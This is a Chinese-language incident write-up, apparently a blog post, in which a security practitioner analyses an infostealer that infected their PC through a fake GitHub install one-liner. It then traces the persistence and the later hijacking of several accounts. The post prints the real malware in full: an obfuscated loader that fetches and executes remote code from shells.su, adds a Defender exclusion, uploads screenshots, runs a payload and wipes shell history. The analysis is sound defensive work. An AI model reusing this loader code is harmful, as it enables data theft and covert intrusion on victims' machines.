你敢入侵我电脑?看我扒光你老底
作为一名进攻安全从业者,我自然更关注攻击技术,过去写的大多数文章也都围绕红队、安全研究和其他进攻安全话题展开。所以这篇文章对我来说有些特别:这一次,我不是发起攻击的人。我是受害者。
不得不承认,因为执行了一段恶意脚本,导致自己的个人电脑被攻陷,多少还是有点丢人的,而且这次事件也给我带来了不小的麻烦。但与此同时,它也成了我职业生涯中一次难忘而宝贵的教训。更有意思的是,我的进攻安全背景在这次事件里既给了我优势,也给我留下了一个盲区。
因为平时花了太多时间站在攻击者的角度思考,我对这种思维方式相当熟悉。根据观察到的代码质量、OPSEC、工程成熟度以及其他操作习惯,我可以对威胁行为者做一个初步画像,据此决定先调查哪些方向,而不是把所有可能的 TTP 都当成同等概率。这个直觉确实帮助我很快定位到了载荷和持久化,并在相对较短的时间内切断了他们对主机的访问。
但同样的思维方式,也制造了我的盲区。作为红队人员,我习惯于追逐最终目标:皇冠上的明珠、特权访问,或者任何代表一次行动最终目标的东西。但真实的威胁行为者不一定这样想。几乎任何战利品,都可能对某个人有价值,或者可以拿去交易。他们不需要摸到“皇冠上的明珠”,这次入侵就已经可以赚钱。
入侵本身可以已经算成功,过程中偷走的某一份数据,也可以单独算成功。
第一部分聚焦于这次事件本身:最初的入侵、第一轮恶意软件分析、持久化排查、切断主机级访问,以及这个盲区后来带来的后果。
当然,说到底我还是个红队,我可不想当太久的受害者。第二部分,就是我的“复仇”开始的地方。我没有 Hack Back。即使我是受害者,也不会让未经授权的入侵变得合乎道德或获得授权。但这并不意味着我必须停止调查。
还有很多别的办法,可以让这场行动背后的人日子难过一些:把更大的 InfoStealer 网络扒出来,追踪其基础设施和公开身份,并最终锁定一个尤其有意思、看起来确实属于这套经济链条中的个体。
故事始于一个我以为安全的“避风港”:GitHub 仓库
当时我在找一款可以读取和编辑 PDF 的开源替代软件,然后遇到了一个一开始看起来很正常的 GitHub 仓库。它有还算不错的 Star 和 Fork 数,README 也很简洁,只给了一条一行式安装命令——正好满足大多数用户最想要的东西:尽量少的配置,直接运行。
尽管恶意 GitHub 仓库活动早就不是什么新鲜事,但 GitHub 总体上仍然是一个值得信任的平台。我当时也没多想,就把那条 one-liner 跑了……
安装似乎需要一点时间。等待期间,我又回头更仔细地看了一遍 README。这时,几个信号一下变得非常明显:
- README 跟 PDF 软件压根没有关系。
- 安装命令引用的外部域名看起来很奇怪。
- 仓库虽然有不少 Star 和 Fork,但账号本身却非常新。
我立刻中断了安装。那一刻我知道,已经晚了——肯定已经有一部分代码执行过。但即便如此,停掉脚本仍然有价值,至少可以阻止那些还没来得及完成的动作。从那一刻开始,我必须和时间赛跑。而这条 PowerShell one-liner,就成了我最先想追下去的线索。
第一阶段:PowerShell 投递
安装命令通过 Invoke-Expression 拉取并执行了一段远程 PowerShell 脚本。第一阶段脚本相对很短:它指定 TLS 1.2,然后使用 FromBase64String 和 UTF-8 解码一段 Base64 字符串,再把结果继续传下去。
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$encodedCommand = "aXJtIC1VcmkgImh0dHBzOi8vc2hlbGxzLnN1L2VuY3J5cHRlZC9hcGkucHMxIiAtVXNlckFnZW50ICJhaXprSGtLdGZOZHptYXljT0pmamhEUGFOTENWWUtNTXBrQWNVeXN5SXBZakFVaE5McXNRTEd5VnlJV2ZDZ25FQmlKWWVqclpMd0N3aG1Wa0VqSXhLSGVQTVllZUVNV1hhcklua211d3JVbXpCSXMiIHwgaWV4"
$decodedCommand =
[System.Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String($encodedCommand)
)
解码 Base64 后得到:
irm -Uri "https://shells.su/encrypted/api.ps1" `
-UserAgent "aizkHkKtfNdzmaycOJfjhDPaNLCVYKMMpkAcUysyIpYjAUhNLqsQLGyVyIWfCgnEBiJYejrZLwCwhmVkEjIxKHePMYeeEMWXarInkmuwrUmzBIs" |
iex
所以它的目的非常直接:从 shells[.]su 获取第二阶段 PowerShell 脚本,并立即执行响应内容。
一个有意思的细节是,这个第一阶段脚本的在线版本后来发生过变化。我中招时,只有 URI 本身被编码;后来操作者修改了投递链,把完整的第二次请求——包括自定义 User-Agent——一起藏进了 Base64 blob。这说明基础设施仍在被持续维护,而不是某个早已废弃的一次性活动。
第二阶段:加载器、受害者遥测与暂存
第二阶段脚本重要得多,因为它暴露了最初执行链的大部分结构。
# ------------------------------------ LAUNCH ------------------------------------- #
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
[Net.WebRequest]::DefaultWebProxy = [Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials
function Show-Progress {
param(
[int]$Percent,
[string]$Text = ""
)
$esc = [char]27
$width = 20
$filled = [math]::Floor($width * $Percent / 100)
$empty = $width - $filled
$gray = "$esc[100m"
$darkGray = "$esc[48;5;236m"
$reset = "$esc[0m"
[Console]::Write(
"`r $gray$(' ' * $filled)$reset$darkGray$(' ' * $empty)$reset $Percent% $Text"
)
}
# ----------------------------------- VARIABLES ----------------------------------- #
$site = "https://shells.su"
$zipUrl = "$site/encrypted/1.zip"
$7zaUrl = "$site/encrypted/7za.exe"
$password = '1'
$exePath = '1/Helper.exe'
$work = Join-Path $env:TEMP "svc_$(Get-Random)"
$zip = Join-Path $work '1.zip'
$7za = Join-Path $work '7za.exe'
$dest = Join-Path $work 'out'
# ----------------------------------- VARIABLES+ ---------------------------------- #
$pcName = $env:COMPUTERNAME
$userAgent = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp"
$startUrl = "$site/start.php"
$screenUrl = "$site/screen.php"
$endUrl = "$site/end.php"
$firstStepText = '[1/3] Checking for Updates...'
$secondStepText = '[2/3] Initialization Components...'
$thirdStepText = '[3/3] Running Application...'
$firstSubstepText = '[SUCCESSFULLY]'
$secondSubstepText = '[SUCCESSFULLY]'
$thirdSubstepText = '[ERROR]'
if (Test-Path $work) { Remove-Item $work -Recurse -Force }
New-Item -ItemType Directory -Path $work -Force | Out-Null
# ---------------------------------- ADMIN RIGHTS --------------------------------- #
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($identity)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
# [STEP 1/3]:
Clear-Host
Write-Host "`n $firstStepText" -ForegroundColor Cyan
if (-not $isAdmin) {}
if ($isAdmin) {
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue | Out-Null
}
# ---< REQUEST 1 >---------------------- GEO -------------------------------------- #
$country = [System.Globalization.RegionInfo]::CurrentRegion.TwoLetterISORegionName
filter CustomTrim { $_ -replace '[\r\n\t]', '' }
$geoServices = @(
@{ Uri = "https://ipwho.is/?fields=country_code"; Path = "country_code" },
@{ Uri = "https://ipapi.co"; Path = $null },
@{ Uri = "https://ipinfo.io"; Path = $null }
)
foreach ($service in $geoServices) {
try {
$response = Invoke-RestMethod -Uri $service.Uri -TimeoutSec 5 -UserAgent $userAgent -ErrorAction Stop
if ($response) {
if ($service.Path -and $response.$($service.Path)) {
$country = $response.$($service.Path).Trim().ToUpper()
} else {
$country = ($response | CustomTrim).ToUpper()
}
if ($country -match '^[A-Z]{2}$') {
break
}
}
}
catch {
continue
}
}
# ------------------------------------- LINKS ------------------------------------- #
$startRequest = "${startUrl}?pc=${pcName}&country=$country"
$screenRequest = "${screenUrl}?pc=${pcName}&country=$country"
$endRequest = "${endUrl}?pc=${pcName}&country=$country"
# ---< REQUEST 2 >--------------------- START ------------------------------------- #
try {
$startScript = Invoke-RestMethod -Uri $startRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
}
catch {
Write-Warning "$_"
}
# ---< REQUEST 3 >-------------------- DOWNLOAD ----------------------------------- #
try {
if (-not (Test-Path $work)) { New-Item -ItemType Directory -Path $work -Force | Out-Null }
Invoke-WebRequest -Uri $zipUrl -OutFile $zip -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
Invoke-WebRequest -Uri $7zaUrl -OutFile $7za -UserAgent $userAgent -TimeoutSec 600 -MaximumRedirection 5
}
catch {}
# ---< REQUEST 4 >------------------- SCREENSHOT ---------------------------------- #
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
# [SUBSTEP 1/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 20)
}
Show-Progress 100
Write-Host "$firstSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# --------------------------------- OPEN & LOGGING -------------------------------- #
# [STEP 2/3]:
Clear-Host
Write-Host "`n $secondStepText" -ForegroundColor Cyan
try {
if (-not (Test-Path $7za)) { throw "[7za] - Error code: 2" }
if (-not (Test-Path $zip)) { throw "[ZIP] - Error code: 2" }
$unpackParams = @("x", "`"$zip`"", "-o`"$dest`"", "-p$password", "-y")
$null = & $7za x "$zip" "-o$dest" "-p$password" -y 2>&1
if ($process.ExitCode -ne 0) {
throw "[ERROR LOG] 7za: $($process.ExitCode)"
}
}
catch {}
# [RUN FILE]
$exe = Join-Path $dest $exePath
try {
if (Test-Path $exe) {
Start-Process $exe -WorkingDirectory (Split-Path $exe) -Wait -ErrorAction Stop
} else {
throw "[ZIP] - Error code: 2"
}
}
catch {
Write-Warning "$_"
}
if (Test-Path $work) {
Remove-Item $work -Recurse -Force -ErrorAction SilentlyContinue
}
# [SUBSTEP 2/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 10 -Maximum 25)
}
Show-Progress 100
Write-Host "$secondSubstepText" -ForegroundColor Green
Start-Sleep -Seconds 3
# ---< REQUEST 5 >--------------------- ENDING ------------------------------------ #
# [STEP 3/3]:
Clear-Host
Write-Host "`n $thirdStepText" -ForegroundColor Cyan
try {
$endScript = Invoke-RestMethod -Uri $endRequest -TimeoutSec 15 -UserAgent $userAgent -ErrorAction SilentlyContinue | Out-Null
if (-not [string]::IsNullOrWhiteSpace($endScript)) {
$endBlock = [scriptblock]::Create($endScript)
& $endBlock
}
}
catch {
Write-Warning "$_"
}
# [SUBSTEP 3/3]:
for ($i = 0; $i -le 100; $i++) {
Show-Progress $i
Start-Sleep -Milliseconds (Get-Random -Minimum 5 -Maximum 30)
}
Show-Progress 100
Write-Host "$thirdSubstepText`n" -ForegroundColor Red
Start-Sleep -Milliseconds 500
Write-Host " [ERROR] Failed to load DLL: keygen.dll`n [ERROR] The specified module could not be found.`n [ERROR] Error code: 0x8007007E`n [ERROR] One or more dependencies may be missing.`n [ERROR] Operation failed." -ForegroundColor Red
# ENDING SCREENSHOT
try {
$bounds = [Windows.Forms.SystemInformation]::VirtualScreen
$bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$gfx = [System.Drawing.Graphics]::FromImage($bmp)
$gfx.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$ms = New-Object System.IO.MemoryStream
$bmp.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)
$gfx.Dispose()
$bmp.Dispose()
$base64 = [Convert]::ToBase64String($ms.ToArray())
$ms.Dispose()
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
Invoke-RestMethod -Uri $screenRequest -Method Post -Body $screenBody -UserAgent $userAgent -TimeoutSec 60 -ErrorAction Stop | Out-Null
}
catch {}
Read-Host -Prompt "`n Press Enter to exit"
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
它的行为大致可以总结为:
环境准备与权限检查
↓
临时工作目录 / 尝试加入 Defender 排除项
↓
国家和主机信息侦察
↓
Start 回调 / 尝试执行服务器返回的 PowerShell
↓
下载加密载荷压缩包与 7-Zip
↓
采集桌面截图并外传
↓
解压并执行载荷
↓
清理临时文件
↓
End 回调 / 再次尝试执行服务器返回的 PowerShell
↓
第二次截图并清理 PowerShell 历史
脚本配置了 TLS 1.2,并显式继承系统代理以及当前用户的默认网络凭据:
[Net.WebRequest]::DefaultWebProxy =
[Net.WebRequest]::GetSystemWebProxy()
[Net.WebRequest]::DefaultWebProxy.Credentials =
[Net.CredentialCache]::DefaultNetworkCredentials
这是一个不大但值得注意的实现细节。对于出站 HTTP 流量必须经过带认证企业代理的环境,这会提高兼容性。这不代表恶意软件专门针对企业,但至少说明作者考虑过不止普通家庭网络这一种环境。
随后,加载器定义了暂存位置:
site: hxxps://shells[.]su
archive: /encrypted/1.zip
extractor: /encrypted/7za.exe
password: 1
work: %TEMP%\svc_<random>
output: %TEMP%\svc_<random>\out\
在我事件期间恢复到的版本中,最终可执行文件是 1.exe。后来的 loader 快照则预期执行 1/Helper.exe。这个差异对时间线很重要:后来的快照不能被当作感染我机器那一版的逐字节复刻,他们一直在修改自己的 payload。
防御规避
如果 PowerShell 进程已经以管理员权限运行,加载器会尝试把临时工作目录加入 Windows Defender 排除项:
Add-MpPreference -ExclusionPath $work -ErrorAction SilentlyContinue
在后来的版本里,如果用户不是管理员,它实际上不会主动尝试提权:
if (-not $isAdmin) {}
这里也是投递链随时间发生变化的一个地方。事件当时的记录里,较早版本曾尝试通过 RunAs 重新启动;那依赖用户确认,并不是静默 UAC 绕过。之后对可执行文件的逆向还在 RAT 本体中发现了权限相关功能,因此有可能一部分职责后来从 PowerShell 层转移到了 RAT。但“有可能”并不等于我已经还原了操作者完整的开发历史。
受害者注册与地理画像
在下载可执行载荷之前,loader 会尝试判断受害者所在国家。它首先以系统地区设置作为 fallback,然后查询 ipwho.is、ipapi.co 和 ipinfo.io 等公开地理位置服务。
随后构造三个暂存 URL:
/start.php?pc=<computer-name>&country=<country>
/screen.php?pc=<computer-name>&country=<country>
/end.php?pc=<computer-name>&country=<country>
乍一看,这几个端点主要像是在做受害者注册和遥测。暂存服务器会收到计算机名和国家,而 screen.php 单独用于截图外传。不过,继续看 start.php 和 end.php 后,还能发现一个额外能力:loader 会尝试接收响应,并把它作为 PowerShell 执行。
$startScript = Invoke-RestMethod -Uri $startRequest ... | Out-Null
if (-not [string]::IsNullOrWhiteSpace($startScript)) {
$startBlock = [scriptblock]::Create($startScript)
& $startBlock
}
end.php 后面也用了同样的模式。由于请求中携带了 pc 和 country,服务器在生成响应时已经掌握了受害者级别的属性。理论上,它可以对不同主机或不同地区返回不同的后续动作。没有服务器端 PHP 实现,我无法确认这种选择性行为是否真的被实现过。
不过,这里存在一个很严重的实现 Bug。结果被管道送进 Out-Null 后,HTTP 响应会在赋值给 $startScript 之前就被丢弃。请求本身依旧会发送,因此服务器仍然能收到受害者信息,但后续执行分支根本拿不到响应内容。$endScript 也有同样的问题。操作者看起来做了一个服务器控制的执行路径,然后又因为自己的 Bug 把它顺手废掉了。
在我的案例里,这条路径看起来是因为攻击者自己的 Bug 失败的,而不是因为我的遏制措施。
所以,这层暂存基础设施同时承担了受害者识别、截图收集,以及一个未能正常工作的服务器控制 PowerShell 机制。RAT 运行时使用的 C2 则是另一套。
屏幕截图外传
loader 使用 [Windows.Forms.SystemInformation]::VirtualScreen 和 $gfx.CopyFromScreen(...) 捕获完整的 Windows 虚拟桌面。位图被编码为 PNG、转换成 Base64,然后连同计算机名一起提交到 screen.php:
$screenBody = @{
pc = $pcName
image = "data:image/png;base64,$base64"
}
在后来的快照中,这个动作会在可执行载荷启动前执行一次,并在伪安装流程接近结束时再执行一次。如果请求成功,那么当时所有显示器上可见的内容都已经泄露了。这个部分没有现实意义上的“撤销”办法。
这个认识直接影响了我当时的响应优先级。我把局面分成两类:已经发生的损害,以及仍然可以阻止的攻击活动。截图属于前者,但 RAT 进程、持久化和 C2 连通性,我仍然可以切断。
当时,这个优先级看起来非常自然。站在红队的角度,一旦我发现攻击,第一反应就是和时间赛跑,尽可能阻止更多仍在进行中的动作。但阻止正在发生的入侵,并不等于完成修复。已经发生过的事情,不能因为“发生完了”就被当作结束,它们留下的后果也不能被忽略。
载荷投递
loader 下载了 /encrypted/1.zip 和 /encrypted/7za.exe,然后使用密码 1 解压受密码保护的 ZIP。这个密码无论还有什么别的目的,显然不太擅长对接收者保密。解压出的载荷通过下面的方式启动:
Start-Process $exe `
-WorkingDirectory (Split-Path $exe) `
-Wait
这里的 WorkingDirectory 细节后来在清理阶段变得有意义,因为临时解压目录被仍持有句柄的进程锁住了。目录一直存在,是调查线索,但单凭这一点并不能证明存在第二个持久化载荷。
欺骗用户
脚本试图把整个执行过程伪装成普通安装器或更新程序。它展示了三个阶段
[1/3] Checking for Updates...
[2/3] Initialization Components...
[3/3] Running Application...
同时配上假的进度条和随机 sleep。流程结束时,它会故意打印:
[ERROR] Failed to load DLL: keygen.dll
[ERROR] The specified module could not be found.
[ERROR] Error code: 0x8007007E
[ERROR] One or more dependencies may be missing.
[ERROR] Operation failed.
这是一段欺骗,而不是真的安装失败。最简单地说,这条信息解释了为什么预期中的应用程序没有出现:破解程序或者软件因为缺失依赖而安装失败。但与此同时,恶意执行链其实已经跑完了。这个假报错的作用,不只是把脚本装成一个坏掉的安装器。它给了受害者一个看似合理的解释,可以让调查在这里提前结束。
从受害者视角:
下载软件 → 运行安装器 → 缺少 keygen.dll
→ 安装失败 → 换一个下载
从攻击者视角:
执行 loader → 侦察 → 截图外传
→ 部署 RAT → 伪造 DLL 报错
这种欺骗不需要躲过恶意软件分析,甚至不需要把所有恶意痕迹都藏得很像。它只需要让受害者别再追问“为什么安装失败”就够了。如果几天后 Instagram、Steam 或 Discord 开始出现异常,受害者也很难自然地把它和几天前一个看起来毫无关系的安装失败联系起来。
反取证
最后,loader 会尝试清除 PowerShell 命令历史
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
Remove-Item (Get-PSReadlineOption).HistorySavePath `
-Force `
-ErrorAction SilentlyContinue
Set-PSReadlineOption -HistorySaveStyle SaveNothing
[Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
这针对的是用户的 PSReadLine 历史,包括 ConsoleHost_history.txt。对付随手看一眼式的检查确实有用,但距离完整的取证清理还差得很远。它不会删除可能已经被记录到 PowerShell Operational 日志、进程创建遥测、EDR、网络日志或其他主机痕迹里的独立证据。代码整体更像是实用主义、但时不时会犯错,而不是优雅。在解压逻辑中,它检查了 $process.ExitCode,却从未给 $process 赋值;前面的 Out-Null 错误,则是同一类不均衡工程质量里更严重的例子。
追踪载荷与持久化
理解了两阶段 PowerShell 后,我对最初的入侵已经有了比较清晰的认识:主机信息已经被提交到暂存基础设施,截图很可能已经被外传,可执行载荷也已经启动。目标已经不是“阻止入侵发生”,而是遏制仍然活跃的部分。幸运的是,第二阶段脚本直接暴露了解压位置:
%TEMP%\svc_<random>\out\1\1.exe
我保留了一份封存样本用于后续分析,然后删除了原始投递位置里的可执行文件。但显然,仅仅删掉初始 payload 并不够。到这个时候,我必须假设持久化已经建立。
接下来基本有两条路:尽可能枚举持久化机制,或者逆向样本,让恶意软件自己告诉我它做过什么。更实际的答案是两条一起走。我把保留的样本交给静态分析流程,同时使用 GPT-5.6 Sol 和 Opus 5 做 AI 辅助逆向,在有限时间里扩大覆盖面。对一个混淆过的恶意样本做自动化分析,漏掉很多东西并不奇怪。但即使分析不完整,在真实事件进行中,它仍然能节省大量时间:自动识别函数、字符串、API 使用、持久化路径和 C2 行为,而人工调查者可以把注意力集中在仍然活着的主机上。
这就是第一轮分析的目的:拿到可执行的处置情报,而不是把每个能力都彻底分析完。第二部分会重新回到那些当时没有回答的问题。
一条相当潦草的 PowerShell 链
到这里,两阶段 PowerShell 链基本分析完了。它的能力确实够实用,对毫无防备的用户也完全可以造成真实损害,但我实在很难对它的实现质量有什么高评价。
就这么一点代码里,我已经看到了多个 Bug。整体代码质量不高,对规避和 OPSEC 似乎也没怎么认真考虑。脚本写得相当潦草。我把它分享给几个朋友看,其中一个人开玩笑说,这玩意儿看起来像是 vibe coding 出来的。说真的,这评价也不算冤枉。
不过,潦草本身也是信息。它让我对威胁行为者的工程成熟度和技术水平有了一个初步印象,可以在后续事件响应中帮助决定先查什么。当然,我也不想过度套用这个印象:攻击者可能前后水平不一致,可能复用了别人的代码,也可能只是把更多精力放在了行动的某一部分。
给持久化排查定优先级
持久化排查最麻烦的地方,就是搜索空间太大。一个 Windows implant 可以通过计划任务、服务、Run Key、启动目录、WMI Subscription、Winlogon 修改、IFEO、COM Hijacking、DLL 加载机制以及很多其他方式存活下来。所以我必须排优先级。
我的进攻安全背景,加上对这套 PowerShell stager 的第一印象,帮助我决定了搜索顺序。我当时在想:按照目前推测出来的技术水平,他们更可能使用什么复杂度的持久化方式?
相比更高级、更复杂的技术,计划任务和其他传统启动/登录机制,看起来更像是应该优先排查的方向。这仍然只是一个有风险的推断,而不是证据。PowerShell loader 写得粗糙,并不代表背后的原生 payload 也一定粗糙。链条不同部分可能由不同操作者负责,二进制 payload 完全可能更难缠。
话虽如此,这个直觉确实改变了我的搜索顺序。很快,我在下面的位置发现了 payload 的第二份副本:
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
这个路径显然是为了伪装成合法 Windows 组件,父目录还被设置了 Hidden 和 System 属性。更重要的是,这个看起来像“另一份”的 RuntimeBroker.exe 根本不是不同的可执行文件:它的 Hash 和原始 1.exe 完全一致。后续逆向进一步还原了 self-copy 流程,而文件系统时间线已经给出了一个非常有用的关联:
2026-08-16, local time (EDT)
23:44:56 RuntimeBroker.exe created
23:44:57 Four malicious scheduled tasks created
四个任务分别是:
\Microsoft\Location\MicrosoftUpdaterMachineCore
\Microsoft\Windows\EDP\ScheduledDef
\Microsoft\Windows\RegisterDeviceAccountChange\ProgramDataUpdate
\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskWindowsLogins
四个任务全部启动同一个 RuntimeBroker.exe。其中一个每 30 分钟重复触发,另外三个则是开机触发。任务定义使用内置 Administrator SID(...-500),并设置 InteractiveToken 和 HighestAvailable。真正重要的证据并不只是任务名称,而是保留下来的任务 XML 和时间戳。更深入的逆向后来还发现,它用的是 Task Scheduler COM,而不是简单调用 schtasks.exe。这也提醒我:目标很传统,并不等于实现能力就一定很差。
样本还把 C2 配置存放在 HKCU\Software\Microsoft\Event 下,值名为 System。那只是配置存储,不是另一种启动方式。真正的执行持久化来自计划任务。RAT 还创建了互斥体 Global\RuntimeBrokerAds,用于保证只运行一个实例。
这一次,我最初的判断确实帮上了忙。重点是:这一次。
并行逆向分析
差不多同一时间,自动化分析也开始返回有用结果。两边都没能独立还原完整图景,但它们的发现和我在主机上看到的痕迹互相印证,并暴露了更多能力。逐渐浮现出来的是一个自定义 x64 C++ RAT。它的运行时 C2 通过 WebSocket 连接 145.63.134[.]94:406;另一个 HTTP 任务通道使用端口 408。分析还发现它支持更新后的 *.duckdns.org 端点。协议字符串包括:
ready; getinfo ping pong
task createtask closetask task_id;
task_done; update
早期分析显示,命令执行使用了非常直接的 cmd.exe /C <command>。WebSocket 握手里还有一个尤其显眼的特征:
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
这是 RFC 6455 里的示例 nonce,而不是每次新随机生成的 key。在这里,它的重复使用可以当作一个有用的网络指标,但还不足以单独做恶意软件家族归因。
二进制本体的保护也比 PowerShell loader 给人的第一印象重得多。分析识别出了加密字符串、动态 API 解析、控制流与 MBA 风格混淆,以及覆盖多种虚拟化环境的反分析检查——其中甚至有一个明确的 anyrun GPU 指标。其他恢复出来的引用和路径还涉及关键进程行为、权限调整、基于 WMI 的杀软发现、AMSI 相关操作,以及 NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx 等原生内存/线程 API。winlogon、smartscreen 和 explorer.exe 等进程名也和早期分析有关。这些是深入实现的线索,并不代表所有相关技术都一定在我的工作站上成功执行过。
按高端红队标准,我不会把它称为多么高级的 implant。但它也绝对不是小儿科:自定义混淆、动态 API 解析、沙箱检测、冗余计划任务,再加上能正常工作的任务协议,已经足够制造麻烦。换句话说,它不需要写得优雅,也一样危险。
知道 408 端口存在,和理解完整的模块投递路径并不是一回事。当时我已经有足够信息去清理 foothold。那些还没搞明白的细节,后来会成为第二轮分析非常有价值的起点。
多种持久化方式,但只有一个可执行文件
我识别到的所有自启动机制,最后都汇聚到同一个可执行文件:
1.exe
↓ self-copy
C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe
↑
├── MicrosoftUpdaterMachineCore
├── ScheduledDef
├── ProgramDataUpdate
└── SvcRestartTaskWindowsLogins
这大概是整个 containment 过程中最让我安心的技术发现。恶意软件有多种重新拉起自己的方式,但我找到的这些 autostart 背后,磁盘上只有一个可执行文件。这当然不代表我赶到之前,它从未下载过别的模块、注入过代码或者收集过信息。但我找到的这些持久化路径共享同一个依赖,从攻击者角度看,这反而制造了一个单点故障:只要这些任务被删除,同时删掉那份 RuntimeBroker.exe,这些特定的重新拉起路径就全部失效。
事后回想,我得承认这里让我不禁一身冷汗。如果恶意软件当时装了好几条真正独立的 foothold:一个计划任务 EXE、一个服务二进制、一个 WMI 拉起的脚本,再来一个单独的侧加载组件—,人工清除会难得多。任何一条独立分支漏掉,都可能让攻击者重新拿到执行能力,再把其他分支重建出来。这次事件对我算是比较有容错的。
清理后的验证
我并没有删掉四个已知计划任务和持久化可执行文件就收工。我继续检查了其他常见持久化位置:服务、Run/RunOnce Key、启动目录、Winlogon 配置、WMI 永久事件订阅,以及可疑的计划任务动作。没有再发现与恶意软件相关的独立可执行文件或额外自启动路径。这让我有理由相信,已经识别出的主机级持久化确实被清掉了。
当时,我确实觉得事件到这里应该结束了,但实际上,并没有。
被忽略的后续影响
清掉已知的持久化机制,并确认持久化 payload 已经不在之后,我认为主机级事件已经被遏制住了。我当时已经很疲惫,也有理由相信最直接的威胁已经被移除。但这种信心并没有持续多久。后来检查 Discord 时,我发现主账号被登出了,重新登录也失败。去看绑定邮箱后,原因立刻清楚了:邮箱里有几封未读邮件,包括密码重置请求、密码已修改的确认,以及另一封关于违反 Discord 政策活动的通知。
账号已经被接管。由于密码重置是通过绑定邮箱完成的,邮箱本身也很可能被访问过。Google 同时也发出了可疑活动警告。
好在我仍然控制着邮箱。我修改了邮箱的凭据和安全设置,通过客服找回 Discord,并随后对两个账号都做了进一步加固。但这离后续影响结束,还差得远。
多个服务上的账号滥用
之后,在这台被攻陷工作站上使用过的多个服务,都陆续出现了新的异常:
- Instagram 被劫持,但没有被完全夺走。攻击者利用现有账号状态向联系人发送垃圾信息,其中包括推广
marawex[.]com。
- Steam 也遭到了类似滥用,但没有发生完整账号接管。账号被用来发垃圾信息,一个陌生用户,后来保留下来的资料显示为
661SAVAGEEE,还被加入了 Family Sharing。这个用户在 ARC Raiders 里作弊,最终被封。因为游戏所有权在我的账号上,我也因此被连带封禁。后面会对661SAVAGEEE做更完整的 OSINT。
- 我的第二个 Discord 账号也被用来发垃圾信息,但密码没有被改。因为两个账号互相关联,我很快注意到了。发送者随后还试图从被攻陷账号一侧删除对话。推广的域名是
tetsobet[.]com。
- Amazon 阻止了完整接管,但仍然放行了欺诈订单。25 美元礼品卡成功下单,100 美元的尝试被拦截。攻击者还购买了和我历史购买记录相似的维生素、猫粮之类商品,看起来是在试图贴近我的正常消费基线。
- Cursor 产生了大约 70 美元的未授权用量,Codex 消耗了我一部分周额度。Claude 也可能暴露过:Anthropic 很快检测到了可疑活动,并主动让会话失效,因此在我观察到明显实际影响之前就已经被切断。
在我查看的这些平台和厂商里,Anthropic 是最早意识到这波更大规模 InfoStealer 活动的团队之一。虽然当时他们还没有把活动明确映射到我遇到的这个具体团伙,但对 TTP 和上下文的分析非常专业,而且和我亲眼观察到的很多行为高度吻合。当然,InfoStealer 团伙远不止我遇到的这一支,Anthropic 记录的活动范围也比这个具体 cluster 更广。但我多少还是有点庆幸:我可能算是极少数很早就意识到这个具体、可能正在兴起的新团伙的人之一——甚至早于大型威胁情报团队把它单独拆出来并完成映射。
在分析 PowerShell stager 时,我对它的规避和 OPSEC 评价并不高。但账号失陷后的后续行为却呈现出更混合的图景:不同操作之间,隐蔽性和谨慎程度差异很大。
我的 Discord 被直接夺走,危险当然危险,但操作本身也足够吵闹,几乎立刻就暴露了。Amazon 上的未授权购买则谨慎得多:攻击者先从低金额礼品卡和我以前买过的商品入手,可能是在尽量贴近正常活动基线,然后再尝试更高价值的商品。之后,他们还知道把我这边已发送的消息删掉。有些操作做得相当谨慎,另一些却粗糙得让人意外。这种不一致本身,也成了理解这场行动的另一条有用线索。
主机还在沦陷吗?
